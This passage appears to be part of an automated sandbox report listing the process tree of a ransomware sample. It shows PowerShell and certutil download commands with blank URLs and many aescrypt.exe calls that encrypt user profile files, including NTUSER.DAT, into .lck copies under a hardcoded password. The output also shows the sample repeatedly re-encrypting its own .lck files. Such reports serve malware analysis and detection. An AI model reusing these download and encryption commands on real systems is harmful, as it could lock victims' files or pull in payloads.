                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5832
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5948
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:6052
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6092
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:6104
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  powershell.exe -c (new-object System.Net.WebClient).DownloadFile('','')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  powershell.exe -c Invoke-WebRequest -Uri -OutFile
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:3232
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\certutil.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  certutil -urlcache -split -f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5216
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5304
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ntuser.dat.LOG2.lck" "ntuser.dat.LOG2"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ntuser.ini.lck" "ntuser.ini"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5320
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.lck" "NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5332
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ntuser.dat.LOG1.lck" "ntuser.dat.LOG1"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5348
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.lck" "NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms.lck" "NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5396
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NTUSER.DAT.lck" "NTUSER.DAT"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5408
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /aD /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5436
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5468
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5492
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5520
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5524
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5536
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5568
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5584
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5612
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4676
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5636
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5652
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5680
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5696
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5716
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5728
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5776
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5812
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5820
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4940
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5908
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4700
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5012
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5888
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
